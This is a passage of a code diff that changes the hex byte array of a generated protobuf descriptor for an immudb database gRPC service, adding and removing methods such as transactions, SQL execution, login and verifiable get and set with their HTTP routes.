0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, - 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, - 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, - 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, - 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, + 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, + 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, + 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, - 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, + 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, + 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, + 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, + 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, + 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, + 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, + 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, + 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, + 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, + 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, + 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, + 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, + 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, + 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, + 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, + 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, + 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, - 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, - 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, + 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, + 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, - 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, - 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, - 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, - 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, - 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, + 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, + 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, + 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, + 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 